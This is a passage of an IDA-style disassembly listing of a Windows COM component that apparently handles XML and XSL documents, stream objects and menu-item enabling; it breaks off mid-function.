sub_69B7E1C4	proc near		; DATA XREF: .text:off_69B2A698o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	4
		pop	edx
		mov	ecx, edx
		mov	edi, offset stru_69B1CA6C
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7E1EA
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-18h]
		jmp	loc_69B7E284
; ---------------------------------------------------------------------------


loc_69B7E1EA:				; CODE XREF: sub_69B7E1C4+19j
		mov	ecx, edx
		mov	edi, offset dword_69B2AFA0
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7E204
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-18h]
		jmp	loc_69B7E28A
; ---------------------------------------------------------------------------


loc_69B7E204:				; CODE XREF: sub_69B7E1C4+33j
		mov	ecx, edx
		mov	edi, offset dword_69B2B180
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7E21E
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-18h]
		add	eax, 0FFFFFFF0h
		jmp	short loc_69B7E284
; ---------------------------------------------------------------------------


loc_69B7E21E:				; CODE XREF: sub_69B7E1C4+4Dj
		mov	ecx, edx
		mov	edi, offset dword_69B2A640
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7E238
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-18h]
		add	eax, 0FFFFFFF8h
		jmp	short loc_69B7E284
; ---------------------------------------------------------------------------


loc_69B7E238:				; CODE XREF: sub_69B7E1C4+67j
		mov	ecx, edx
		mov	edi, offset dword_69B7E2CC
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7E252
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-18h]
		add	eax, 0FFFFFFFCh
		jmp	short loc_69B7E284
; ---------------------------------------------------------------------------


loc_69B7E252:				; CODE XREF: sub_69B7E1C4+81j
		mov	ecx, edx
		mov	edi, offset nullsub_2
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7E26C
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-18h]
		add	eax, 0FFFFFFECh
		jmp	short loc_69B7E284
; ---------------------------------------------------------------------------


loc_69B7E26C:				; CODE XREF: sub_69B7E1C4+9Bj
		mov	ecx, edx
		mov	edi, offset dword_69B2B160
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7E29B
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-18h]
		add	eax, 0FFFFFFF4h


loc_69B7E284:				; CODE XREF: sub_69B7E1C4+21j
					; sub_69B7E1C4+58j ...
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax


loc_69B7E28A:				; CODE XREF: sub_69B7E1C4+3Bj
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx
		mov	eax, ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax
		jmp	short loc_69B7E2C5
; ---------------------------------------------------------------------------


loc_69B7E29B:				; CODE XREF: sub_69B7E1C4+B5j
		mov	ecx, edx
		mov	edi, offset dword_69B7E2DC
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B7E2B6
		mov	eax, [ebp+arg_8]
		and	[eax], edx
		mov	eax, 80004002h
		jmp	short loc_69B7E2C5
; ---------------------------------------------------------------------------


loc_69B7E2B6:				; CODE XREF: sub_69B7E1C4+E4j
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+8]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx]


loc_69B7E2C5:				; CODE XREF: sub_69B7E1C4+D5j
					; sub_69B7E1C4+F0j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B7E1C4	endp

; ---------------------------------------------------------------------------
dword_69B7E2CC	dd 620CF7D1h, 11D23922h, 800035AEh, 0A17E33C7hdword_69B7E2DC	dd 10Bh, 0			dd 0C0h, 46000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E2EC	proc near		; DATA XREF: .text:69B2A6A0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	dword ptr [esi+4], 1
		push	edi
		jnz	loc_69B7E3A1
		call	dword_69B92948
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	loc_69B7E3BB
		lea	edi, [esi-18h]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	eax, [esi+8]
		cmp	eax, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_69B7E364
		mov	ecx, [eax]
		lea	edx, [ebp+arg_0]
		push	edx
		push	(offset	loc_69B2B07C+4)
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B7E364
		push	ebx
		push	[ebp+arg_0]
		push	offset aXmldocument ; "XMLDocument"
		call	sub_69B81952
		push	ebx
		push	[ebp+arg_0]
		push	offset aXsldocument ; "XSLDocument"
		call	sub_69B81952
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_69B7E361
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E361:				; CODE XREF: sub_69B7E2EC+6Dj
		mov	[ebp+arg_0], ebx


loc_69B7E364:				; CODE XREF: sub_69B7E2EC+38j
					; sub_69B7E2EC+4Aj
		mov	eax, [esi+0Ch]
		cmp	eax, ebx
		jz	short loc_69B7E372
		push	ebx
		push	eax
		call	sub_69B7E0B2


loc_69B7E372:				; CODE XREF: sub_69B7E2EC+7Dj
		mov	eax, [esi+10h]
		cmp	eax, ebx
		jz	short loc_69B7E37F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E37F:				; CODE XREF: sub_69B7E2EC+8Bj
		mov	eax, [esi+8]
		cmp	eax, ebx
		mov	[esi+10h], ebx
		jz	short loc_69B7E38F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E38F:				; CODE XREF: sub_69B7E2EC+9Bj
		mov	eax, [edi]
		push	edi
		mov	[esi+8], ebx
		call	dword ptr [eax+8]
		push	[ebp+var_4]
		call	dword_69B92944


loc_69B7E3A1:				; CODE XREF: sub_69B7E2EC+10j
		lea	edi, [esi+4]
		push	edi		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_69B7E3DB
		call	dword_69B92948
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B7E3C2


loc_69B7E3BB:				; CODE XREF: sub_69B7E2EC+21j
		mov	eax, 80004005h
		jmp	short loc_69B7E3DD
; ---------------------------------------------------------------------------


loc_69B7E3C2:				; CODE XREF: sub_69B7E2EC+CDj
		lea	ecx, [esi-18h]
		cmp	ecx, ebx
		jz	short loc_69B7E3D0
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+24h]


loc_69B7E3D0:				; CODE XREF: sub_69B7E2EC+DBj
		push	edi
		call	dword_69B92944
		xor	eax, eax
		jmp	short loc_69B7E3DD
; ---------------------------------------------------------------------------


loc_69B7E3DB:				; CODE XREF: sub_69B7E2EC+C1j
		mov	eax, [edi]


loc_69B7E3DD:				; CODE XREF: sub_69B7E2EC+D4j
					; sub_69B7E2EC+EDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B7E2EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E3E4	proc near		; CODE XREF: .text:69B7F3E3j
					; DATA XREF: .text:69B1462Co

arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	esi, offset dword_69B14600
		movsd
		movsd
		movsd
		movsd
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
sub_69B7E3E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E3FA	proc near		; DATA XREF: .text:69B14640o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		mov	ecx, [esp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		retn	8
sub_69B7E3FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E40C	proc near		; DATA XREF: .text:69B2A730o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+18h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B180
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7E456
		cmp	[ebp+var_4], 0
		jz	short loc_69B7E463
		add	esi, 0FFFFFFF8h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7E456:				; CODE XREF: sub_69B7E40C+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E463
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E463:				; CODE XREF: sub_69B7E40C+28j
					; sub_69B7E40C+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7E40C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E46B	proc near		; DATA XREF: .text:69B2A734o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+18h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B180
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7E4B2
		cmp	[ebp+var_4], 0
		jz	short loc_69B7E4BF
		add	esi, 0FFFFFFF8h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7E4B2:				; CODE XREF: sub_69B7E46B+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E4BF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E4BF:				; CODE XREF: sub_69B7E46B+28j
					; sub_69B7E46B+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7E46B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E4C7	proc near		; DATA XREF: .text:69B2A738o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+18h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B180
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7E50E
		cmp	[ebp+var_4], 0
		jz	short loc_69B7E51B
		add	esi, 0FFFFFFF8h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7E50E:				; CODE XREF: sub_69B7E4C7+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E51B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E51B:				; CODE XREF: sub_69B7E4C7+28j
					; sub_69B7E4C7+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7E4C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E523	proc near		; DATA XREF: .text:69B2A73Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+18h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B180
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7E56A
		cmp	[ebp+var_4], 0
		jz	short loc_69B7E577
		add	esi, 0FFFFFFF8h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7E56A:				; CODE XREF: sub_69B7E523+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E577
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E577:				; CODE XREF: sub_69B7E523+28j
					; sub_69B7E523+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7E523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E57F	proc near		; DATA XREF: .text:69B2A74Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+1Ch]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset nullsub_2
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7E5CF
		cmp	[ebp+var_4], 0
		jz	short loc_69B7E5DC
		add	esi, 0FFFFFFFCh
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7E5CF:				; CODE XREF: sub_69B7E57F+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E5DC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E5DC:				; CODE XREF: sub_69B7E57F+28j
					; sub_69B7E57F+55j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	14h
sub_69B7E57F	endp

; ---------------------------------------------------------------------------


loc_69B7E5E4:				; DATA XREF: .text:69B2A6BCo
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		add	ecx, 0FFFFFFF0h
		mov	word ptr [eax],	4000h
		mov	[eax+8], ecx
		xor	eax, eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E5FC	proc near		; CODE XREF: sub_69B81EBA+C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		mov	eax, [esi]
		push	edi
		push	[ebp+arg_0]
		mov	edi, offset aXmlbufferstrea ; "XMLBufferStream"
		push	edi
		push	esi
		mov	ebx, ecx
		call	dword ptr [eax+24h]
		test	eax, eax
		mov	[ebp+arg_8], eax
		jl	short loc_69B7E64B
		mov	eax, [ebx]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_69B2AFA0
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		mov	[ebp+arg_8], eax
		jl	short loc_69B7E64B
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	0
		push	esi
		push	[ebp+arg_4]
		push	0
		push	eax
		call	dword ptr [ecx+14h]
		mov	[ebp+arg_8], eax


loc_69B7E64B:				; CODE XREF: sub_69B7E5FC+24j
					; sub_69B7E5FC+39j
		mov	eax, [esi]
		push	edi
		push	esi
		call	dword ptr [eax+30h]
		mov	eax, [ebp+var_4]
		test	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_69B7E662
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E662:				; CODE XREF: sub_69B7E5FC+5Ej
		mov	eax, [ebp+arg_8]
		leave
		retn	0Ch
sub_69B7E5FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E669	proc near		; CODE XREF: sub_69B80057+3Ap
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+20h]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B7E67C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E67C:				; CODE XREF: sub_69B7E669+Bj
		mov	eax, [esi+24h]
		and	dword ptr [edi], 0
		test	eax, eax
		jz	short loc_69B7E68C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E68C:				; CODE XREF: sub_69B7E669+1Bj
		and	dword ptr [esi+24h], 0
		push	edi		; ppv
		push	offset stru_69B1CA6C ; riid
		push	1		; dwClsContext
		push	dword ptr [esi+38h] ; pUnkOuter
		push	offset stru_69B7E6AC ; rclsid
		call	ds:CoCreateInstance
		pop	edi
		pop	esi
		retn
sub_69B7E669	endp

; ---------------------------------------------------------------------------
		align 4
; CLSID	stru_69B7E6AC
stru_69B7E6AC	dd 25336920h		; Data1	; DATA XREF: sub_69B7E669+32o
		dw 3F9h			; Data2
		dw 11CFh		; Data3
		db 8Fh,	0D0h, 0, 0AAh, 0, 68h, 6Fh, 13h; Data4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B81644


loc_69B7E6BC:				; CODE XREF: sub_69B81644+5j
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+20h], 0
		jz	short loc_69B7E6CE
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B7E6CE:				; CODE XREF: sub_69B81644-2F81j
		mov	eax, [esi+20h]
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B81644

; =============== S U B	R O U T	I N E =======================================



sub_69B7E6D3	proc near		; CODE XREF: sub_69B7EB86+34p
					; sub_69B7F4AC+1Dp ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+34h]
		test	ecx, ecx
		jz	short loc_69B7E6F7
		push	0
		push	0
		call	sub_69B81633
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_69B7E6F3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E6F3:				; CODE XREF: sub_69B7E6D3+18j
		and	dword ptr [esi+34h], 0


loc_69B7E6F7:				; CODE XREF: sub_69B7E6D3+8j
		pop	esi
		retn
sub_69B7E6D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7E6F9	proc near		; CODE XREF: sub_69B7F442+5Dp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		test	ecx, ecx
		jz	short loc_69B7E719
		call	sub_69B7E177
		mov	eax, [esi+28h]
		test	eax, eax
		jz	short loc_69B7E715
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E715:				; CODE XREF: sub_69B7E6F9+14j
		and	dword ptr [esi+28h], 0


loc_69B7E719:				; CODE XREF: sub_69B7E6F9+8j
		pop	esi
		retn
sub_69B7E6F9	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B7E71B(HMENU hMenu)

sub_69B7E71B	proc near		; CODE XREF: sub_69B7E71B+43p
					; sub_69B803AC+1D9p

hMenu		= dword	ptr  4

		push	ebp
		push	edi
		mov	edi, [esp+8+hMenu]
		test	edi, edi
		mov	ebp, ecx
		jz	short loc_69B7E798
		push	ebx
		push	esi
		push	edi		; hMenu
		call	GetMenuItemCount	; GetMenuItemCount
		mov	ebx, eax
		xor	esi, esi
		test	ebx, ebx
		jle	short loc_69B7E796


loc_69B7E738:				; CODE XREF: sub_69B7E71B+79j
		push	400h		; uFlags
		push	esi		; uId
		push	edi		; hMenu
		call	GetMenuState	; GetMenuState
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B7E791
		mov	ecx, eax
		shr	ecx, 8
		test	cl, cl
		jz	short loc_69B7E765
		push	esi		; nPos
		push	edi		; hMenu
		call	GetSubMenu	; GetSubMenu
		push	eax		; hMenu
		mov	ecx, ebp
		call	sub_69B7E71B
		jmp	short loc_69B7E791
; ---------------------------------------------------------------------------


loc_69B7E765:				; CODE XREF: sub_69B7E71B+36j
		test	al, 60h
		jnz	short loc_69B7E791
		push	esi		; nPos
		push	edi		; hMenu
		call	GetMenuItemID	; GetMenuItemID
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B7E791
		cmp	eax, 0E19h
		jb	short loc_69B7E791
		cmp	eax, 0E73h
		ja	short loc_69B7E791
		push	401h		; uEnable
		push	esi		; uIDEnableItem
		push	edi		; hMenu
		call	EnableMenuItem	; EnableMenuItem


loc_69B7E791:				; CODE XREF: sub_69B7E71B+2Dj
					; sub_69B7E71B+48j ...
		inc	esi
		cmp	esi, ebx
		jl	short loc_69B7E738


loc_69B7E796:				; CODE XREF: sub_69B7E71B+1Bj
		pop	esi
		pop	ebx


loc_69B7E798:				; CODE XREF: sub_69B7E71B+Aj
		pop	edi
		pop	ebp
		retn	4
sub_69B7E71B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E79D	proc near		; CODE XREF: sub_69B7FF98+7Bp

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
pszPath		= dword	ptr -10h
lpString	= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		and	[ebp+var_1C], 0
		and	[ebp+lpString],	0
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_18]
		stosd
		stosd
		stosd
		stosd
		stosd
		mov	eax, [ecx+24h]
		mov	ecx, [eax]
		lea	edx, [ebp+lpString]
		push	edx
		push	eax
		call	dword ptr [ecx+0F4h]
		test	eax, eax
		pop	edi
		jl	short loc_69B7E836
		push	esi
		mov	esi, [ebp+lpString]
		test	esi, esi
		jz	short loc_69B7E835
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		test	eax, eax
		jz	short loc_69B7E835
		cmp	word ptr [esi+eax*2-2],	2Fh
		jz	short loc_69B7E835
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		mov	[ebp+var_1C], 18h
		call	ds:SHLWAPI_2
		test	eax, eax
		jl	short loc_69B7E835
		push	3Fh
		push	[ebp+pszPath]
		call	sub_69B84CDD
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B7E812
		and	word ptr [esi],	0


loc_69B7E812:				; CODE XREF: sub_69B7E79D+6Fj
		push	104h
		push	[ebp+pszPath]	; pszPath
		call	ds:PathFindFileNameW	; PathFindFileNameW
		push	eax
		push	[ebp+arg_0]
		call	sub_69B84CA0
		add	esp, 0Ch
		test	esi, esi
		jz	short loc_69B7E835
		mov	word ptr [esi],	3Fh


loc_69B7E835:				; CODE XREF: sub_69B7E79D+34j
					; sub_69B7E79D+3Fj ...
		pop	esi


loc_69B7E836:				; CODE XREF: sub_69B7E79D+2Cj
		push	[ebp+lpString]	; BSTR
		call	SysFreeString
		leave
		retn	4
sub_69B7E79D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7E843(OLECHAR *)

sub_69B7E843	proc near		; CODE XREF: sub_69B7FF98+A0p

var_14		= word ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		and	[ebp+var_4], 0
		push	esi
		push	edi
		push	[ebp+arg_0]	; OLECHAR *
		mov	esi, ecx
		call	SysAllocString
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B7E8AD
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset nullsub_2
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		mov	[ebp+arg_0], eax
		jl	short loc_69B7E8B4
		mov	eax, [esi]
		push	esi
		mov	[ebp+var_14], 8
		mov	[ebp+var_C], edi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	0
		lea	edx, [ebp+var_14]
		push	edx
		push	0
		push	942h
		push	offset dword_69B2AEE0
		push	eax
		call	dword ptr [ecx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B7E8B4
; ---------------------------------------------------------------------------


loc_69B7E8AD:				; CODE XREF: sub_69B7E843+1Bj
		mov	[ebp+arg_0], 8007000Eh


loc_69B7E8B4:				; CODE XREF: sub_69B7E843+33j
					; sub_69B7E843+68j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7E8C1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E8C1:				; CODE XREF: sub_69B7E843+76j
		and	[ebp+var_4], 0
		test	edi, edi
		jz	short loc_69B7E8D0
		push	edi		; BSTR
		call	SysFreeString


loc_69B7E8D0:				; CODE XREF: sub_69B7E843+84j
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B7E843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E8D9	proc near		; CODE XREF: sub_69B7F4D3+1Fp
					; sub_69B803AC+A2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	eax, [esi]
		xor	edi, edi
		push	esi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], edi
		call	dword ptr [eax+4]
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	offset dword_69B2B160
		push	eax
		xor	ebx, ebx
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B7E946
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jl	short loc_69B7E946
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B150
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B7E946
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jl	short loc_69B7E946
		mov	ebx, [ebp+var_10]


loc_69B7E946:				; CODE XREF: sub_69B7E8D9+31j
					; sub_69B7E8D9+42j ...
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jz	short loc_69B7E959
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E959:				; CODE XREF: sub_69B7E8D9+78j
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		mov	[ebp+var_4], edi
		jz	short loc_69B7E969
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E969:				; CODE XREF: sub_69B7E8D9+88j
		mov	eax, [ebp+var_C]
		cmp	eax, edi
		mov	[ebp+var_8], edi
		jz	short loc_69B7E979
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7E979:				; CODE XREF: sub_69B7E8D9+98j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_69B7E8D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7E980	proc near		; CODE XREF: sub_69B7F789+2Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+20h], 0
		jnz	short loc_69B7E99D
		mov	eax, 80004005h
		jmp	short loc_69B7EA13
; ---------------------------------------------------------------------------


